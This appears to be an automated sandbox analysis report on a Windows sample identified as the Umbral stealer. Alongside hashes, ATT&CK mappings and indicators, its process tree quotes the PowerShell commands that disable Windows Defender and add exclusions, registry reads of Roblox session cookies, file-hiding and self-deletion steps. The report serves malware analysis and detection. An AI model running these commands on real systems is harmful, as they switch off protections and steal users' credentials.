umbral | 837e540ab292132a621130757c1d5f1738f83e44568847e9278472eac3dc3046

Analysis

max time kernel
146s
max time network
150s
platform
windows11-21h2_x64
resource
win11-20240611-en
resource tags

arch:x64arch:x86image:win11-20240611-enlocale:en-usos:windows11-21h2-x64system
submitted
12-06-2024 16:44

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General

Target

Loader(1).exe
Size

495KB
MD5

6c200e0e8ddc021a16094bd07c17b1b6
SHA1

faa1dba99441d84898171d9ec2962955235183e9
SHA256

837e540ab292132a621130757c1d5f1738f83e44568847e9278472eac3dc3046
SHA512

bd5e8d976dbdad7d8f5511d777a0998f3d831054b7d3dad2d0a9969ddd622a519b63c1b06b677fef16c90f9ed9de226b25be6ca5f11752a053d6669ce726a15f
SSDEEP

12288:doZ1tlRk83MlgvNh0ad1+F7mEl5Qw5nTiii/Izoqs2PiixJ:G5r39Nh0ad1+F7mEl5QwFzoqs2

Score

10^/10

umbral execution spyware stealer

Malware Config

Signatures

Detect Umbral payload 1 IoCs

resource	yara_rule
behavioral3/memory/456-1-0x000001A306BB0000-0x000001A306C32000-memory.dmp	family_umbral

Umbral
Umbral stealer is an opensource moduler stealer written in C#.
stealer umbral

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
4816	powershell.exe

Drops file in Drivers directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\drivers\etc\hosts	Loader(1).exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
1	ip-api.com

Detects videocard installed 1 TTPs 1 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

T1082

pid	Process
1700	wmic.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
2544	PING.EXE

Suspicious behavior: EnumeratesProcesses 11 IoCs

pid	Process
456	Loader(1).exe
4816	powershell.exe
4816	powershell.exe
904	powershell.exe
904	powershell.exe
2944	powershell.exe
2944	powershell.exe
1680	powershell.exe
1680	powershell.exe
2324	powershell.exe
2324	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	456	Loader(1).exe
Token: SeIncreaseQuotaPrivilege	4152	wmic.exe
Token: SeSecurityPrivilege	4152	wmic.exe
Token: SeTakeOwnershipPrivilege	4152	wmic.exe
Token: SeLoadDriverPrivilege	4152	wmic.exe
Token: SeSystemProfilePrivilege	4152	wmic.exe
Token: SeSystemtimePrivilege	4152	wmic.exe
Token: SeProfSingleProcessPrivilege	4152	wmic.exe
Token: SeIncBasePriorityPrivilege	4152	wmic.exe
Token: SeCreatePagefilePrivilege	4152	wmic.exe
Token: SeBackupPrivilege	4152	wmic.exe
Token: SeRestorePrivilege	4152	wmic.exe
Token: SeShutdownPrivilege	4152	wmic.exe
Token: SeDebugPrivilege	4152	wmic.exe
Token: SeSystemEnvironmentPrivilege	4152	wmic.exe
Token: SeRemoteShutdownPrivilege	4152	wmic.exe
Token: SeUndockPrivilege	4152	wmic.exe
Token: SeManageVolumePrivilege	4152	wmic.exe
Token: 33	4152	wmic.exe
Token: 34	4152	wmic.exe
Token: 35	4152	wmic.exe
Token: 36	4152	wmic.exe
Token: SeIncreaseQuotaPrivilege	4152	wmic.exe
Token: SeSecurityPrivilege	4152	wmic.exe
Token: SeTakeOwnershipPrivilege	4152	wmic.exe
Token: SeLoadDriverPrivilege	4152	wmic.exe
Token: SeSystemProfilePrivilege	4152	wmic.exe
Token: SeSystemtimePrivilege	4152	wmic.exe
Token: SeProfSingleProcessPrivilege	4152	wmic.exe
Token: SeIncBasePriorityPrivilege	4152	wmic.exe
Token: SeCreatePagefilePrivilege	4152	wmic.exe
Token: SeBackupPrivilege	4152	wmic.exe
Token: SeRestorePrivilege	4152	wmic.exe
Token: SeShutdownPrivilege	4152	wmic.exe
Token: SeDebugPrivilege	4152	wmic.exe
Token: SeSystemEnvironmentPrivilege	4152	wmic.exe
Token: SeRemoteShutdownPrivilege	4152	wmic.exe
Token: SeUndockPrivilege	4152	wmic.exe
Token: SeManageVolumePrivilege	4152	wmic.exe
Token: 33	4152	wmic.exe
Token: 34	4152	wmic.exe
Token: 35	4152	wmic.exe
Token: 36	4152	wmic.exe
Token: SeDebugPrivilege	4816	powershell.exe
Token: SeDebugPrivilege	904	powershell.exe
Token: SeDebugPrivilege	2944	powershell.exe
Token: SeDebugPrivilege	1680	powershell.exe
Token: SeIncreaseQuotaPrivilege	4436	wmic.exe
Token: SeSecurityPrivilege	4436	wmic.exe
Token: SeTakeOwnershipPrivilege	4436	wmic.exe
Token: SeLoadDriverPrivilege	4436	wmic.exe
Token: SeSystemProfilePrivilege	4436	wmic.exe
Token: SeSystemtimePrivilege	4436	wmic.exe
Token: SeProfSingleProcessPrivilege	4436	wmic.exe
Token: SeIncBasePriorityPrivilege	4436	wmic.exe
Token: SeCreatePagefilePrivilege	4436	wmic.exe
Token: SeBackupPrivilege	4436	wmic.exe
Token: SeRestorePrivilege	4436	wmic.exe
Token: SeShutdownPrivilege	4436	wmic.exe
Token: SeDebugPrivilege	4436	wmic.exe
Token: SeSystemEnvironmentPrivilege	4436	wmic.exe
Token: SeRemoteShutdownPrivilege	4436	wmic.exe
Token: SeUndockPrivilege	4436	wmic.exe
Token: SeManageVolumePrivilege	4436	wmic.exe

Suspicious use of WriteProcessMemory 26 IoCs

description	pid	Process	procid_target
PID 456 wrote to memory of 4152	456	Loader(1).exe	77
PID 456 wrote to memory of 4152	456	Loader(1).exe	77
PID 456 wrote to memory of 4580	456	Loader(1).exe	80
PID 456 wrote to memory of 4580	456	Loader(1).exe	80
PID 456 wrote to memory of 4816	456	Loader(1).exe	82
PID 456 wrote to memory of 4816	456	Loader(1).exe	82
PID 456 wrote to memory of 904	456	Loader(1).exe	84
PID 456 wrote to memory of 904	456	Loader(1).exe	84
PID 456 wrote to memory of 2944	456	Loader(1).exe	86
PID 456 wrote to memory of 2944	456	Loader(1).exe	86
PID 456 wrote to memory of 1680	456	Loader(1).exe	88
PID 456 wrote to memory of 1680	456	Loader(1).exe	88
PID 456 wrote to memory of 4436	456	Loader(1).exe	90
PID 456 wrote to memory of 4436	456	Loader(1).exe	90
PID 456 wrote to memory of 3676	456	Loader(1).exe	92
PID 456 wrote to memory of 3676	456	Loader(1).exe	92
PID 456 wrote to memory of 5076	456	Loader(1).exe	94
PID 456 wrote to memory of 5076	456	Loader(1).exe	94
PID 456 wrote to memory of 2324	456	Loader(1).exe	96
PID 456 wrote to memory of 2324	456	Loader(1).exe	96
PID 456 wrote to memory of 1700	456	Loader(1).exe	98
PID 456 wrote to memory of 1700	456	Loader(1).exe	98
PID 456 wrote to memory of 1896	456	Loader(1).exe	100
PID 456 wrote to memory of 1896	456	Loader(1).exe	100
PID 1896 wrote to memory of 2544	1896	cmd.exe	102
PID 1896 wrote to memory of 2544	1896	cmd.exe	102

Views/modifies file attributes 1 TTPs 1 IoCs

evasion

Hidden Files and Directories

T1564.001

pid	Process
4580	attrib.exe

C:\Users\Admin\AppData\Local\Temp\Loader(1).exe
"C:\Users\Admin\AppData\Local\Temp\Loader(1).exe"
1⤵
- Drops file in Drivers directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:456
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" csproduct get uuid
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:4152
- C:\Windows\SYSTEM32\attrib.exe
  "attrib.exe" +h +s "C:\Users\Admin\AppData\Local\Temp\Loader(1).exe"
  2⤵
  - Views/modifies file attributes
  PID:4580
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Loader(1).exe'
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4816
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:904
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2944
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1680
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" os get Caption
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:4436
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" computersystem get totalphysicalmemory
  2⤵
  PID:3676
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" csproduct get uuid
  2⤵
  PID:5076
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:2324
- C:\Windows\System32\Wbem\wmic.exe
  "wmic" path win32_VideoController get name
  2⤵
  - Detects videocard installed
  PID:1700
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c ping localhost && del /F /A h "C:\Users\Admin\AppData\Local\Temp\Loader(1).exe" && pause
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1896
- - C:\Windows\system32\PING.EXE
    ping localhost
    3⤵
    - Runs ping.exe
    PID:2544

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Credential Access

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Remote System Discovery

T1018

System Information Discovery

T1082

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
1a9fa92a4f2e2ec9e244d43a6a4f8fb9

SHA1
9910190edfaccece1dfcc1d92e357772f5dae8f7

SHA256
0ee052d5333fd5fd86bc84856fec98e045f077a7ac8051651bf7c521b9706888

SHA512
5d2361476fa22200e6f83883efe7dcb8c3fe7dae8d56e04e28a36e9ae1270c327b6aa161d92b239593da7661289d002c574446ecfd6bd19928209aae25e3ef64

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
948B

MD5
9a5c565d9b90a8226e97c7451cd36433

SHA1
5da9bd742b531ea4658fec038a1ce23847d6f92d

SHA256
c6684d0f87003c347743d4aeaf9adeb5aa04eb95bd8f1c04e2903c5e8e2abff8

SHA512
f009e69551b7d168efe626e239fb922d9426adb809d8be48da8c6ee96688788ccb7689cb4b211898ace29e9cca69055839b1df3a5db074890a6356491b87dac5

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
7332074ae2b01262736b6fbd9e100dac

SHA1
22f992165065107cc9417fa4117240d84414a13c

SHA256
baea84fda6c1f13090b8cbd91c920848946f10ce155ef31a1df4cd453ee7e4aa

SHA512
4ae6f0e012c31ac1fc2ff4a8877ce2b4667c45b6e651de798318a39a2b6fd39a6f72dffa8b0b89b7a045a27d724d195656faa25a9fec79b22f37ddebb5d22da2

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
4e48e1aa1e661ba9ae1dd77dfc9ef28c

SHA1
4bac8556d895be93bdfd79a69eb1faa9062c9c43

SHA256
8da9091ffdbbb164b34a1d143c66332b07a4c4bcf7031e29e7887eea085c8737

SHA512
0f09089942c05c6c5f910e116903861bbec0f8e4bd9bf16a353238cfa12e81cb7784196ad5fc0cd4654521ec67df384b0edd90c7fb78e0551448def98ad997a7

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_hl1ft0sw.kdt.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/456-31-0x000001A3214B0000-0x000001A3214CE000-memory.dmp

Filesize
120KB

Download
memory/456-66-0x000001A321360000-0x000001A32136A000-memory.dmp

Filesize
40KB

Download
memory/456-86-0x00007FFA36220000-0x00007FFA36CE2000-memory.dmp

Filesize
10.8MB

Download
memory/456-1-0x000001A306BB0000-0x000001A306C32000-memory.dmp

Filesize
520KB

Download
memory/456-67-0x000001A321390000-0x000001A3213A2000-memory.dmp

Filesize
72KB

Download
memory/456-29-0x000001A3213C0000-0x000001A321436000-memory.dmp

Filesize
472KB

Download
memory/456-30-0x000001A321440000-0x000001A321490000-memory.dmp

Filesize
320KB

Download
memory/456-0-0x00007FFA36223000-0x00007FFA36225000-memory.dmp

Filesize
8KB

Download
memory/456-2-0x00007FFA36220000-0x00007FFA36CE2000-memory.dmp

Filesize
10.8MB

Download
memory/4816-9-0x00007FFA36220000-0x00007FFA36CE2000-memory.dmp

Filesize
10.8MB

Download
memory/4816-13-0x00007FFA36220000-0x00007FFA36CE2000-memory.dmp

Filesize
10.8MB

Download
memory/4816-3-0x000001CC1BA30000-0x000001CC1BA52000-memory.dmp

Filesize
136KB

Download
memory/4816-16-0x00007FFA36220000-0x00007FFA36CE2000-memory.dmp

Filesize
10.8MB

Download
memory/4816-14-0x00007FFA36220000-0x00007FFA36CE2000-memory.dmp

Filesize
10.8MB

Download